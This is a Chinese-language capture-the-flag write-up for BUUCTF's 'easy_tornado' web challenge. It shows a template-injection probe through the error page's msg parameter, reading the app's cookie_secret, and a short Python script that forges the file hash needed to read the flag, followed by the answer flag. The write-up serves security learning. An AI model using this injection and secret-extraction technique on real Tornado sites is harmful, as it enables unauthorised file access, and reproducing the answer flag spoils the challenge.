Buuctf-------WEB之easy_tornado

1.给了三个提示

 Buuctf-------WEB之easy_tornado_第1张图片

 

 

Buuctf-------WEB之easy_tornado_第2张图片

flag在/fllllllllllllag这里

 

Render+tornado这两个东西,显然是python web

 

 根据提示flag所在文件夹,加上路径去访问,发现无法访问,被跳转到一个错误页面

 Buuctf-------WEB之easy_tornado_第3张图片

 

 到这里,开始怀疑可能是不是存在模板注入

输入的数据都被当作代码执行了,举个例子,{{1+1}}回显会返回2,当然,正常情况很少这样。一般是某个函数或者关键字会被执行

先试试看

翻了一下官网,大概这些函数

 Buuctf-------WEB之easy_tornado_第4张图片

 

 挨个试试

第一个escape就被直接执行了

http://9cc83977-4b02-44c3-93d1-b1f6d026f845.node1.buuoj.cn/error?msg={{escape}}

 Buuctf-------WEB之easy_tornado_第5张图片

这里根据提示,我们需要的是cookie

Buuctf-------WEB之easy_tornado_第6张图片

 

 

 参考wp,师傅们这样解释的

Buuctf-------WEB之easy_tornado_第7张图片

 

 接下来根据hint提示计算hash

#!-*-coding:utf-8 -*-
import hashlib
def md5(s):
    md5 = hashlib.md5()
    md5.update(s)
    return md5.hexdigest()
def filehash():
    filename = '/fllllllllllllag'
    cookie_secret = '01d3ae36-9d9e-44f4-b25e-405eda25b369'
    print(md5(cookie_secret + md5(filename)))
if __name__ == '__main__':
    filehash()

 742267cca0cd702fac6bbaeb947cd61e带进去访问,出flag

 Buuctf-------WEB之easy_tornado_第8张图片

 

 Flag:  flag{94b1f826-b51b-4822-986f-bc718c19560b}

参考文章:

http://ch.vksec.com/2017/06/tornado.html

https://blog.csdn.net/weixin_44677409/article/details/94410580

https://tornado.readthedocs.io/en/latest/web.html#tornado.web.RequestHandler

https://www.kancloud.cn/kancloud/python-basic/41712

https://www.cnblogs.com/cimuhuashuimu/p/11544455.html

你可能感兴趣的:(Buuctf-------WEB之easy_tornado)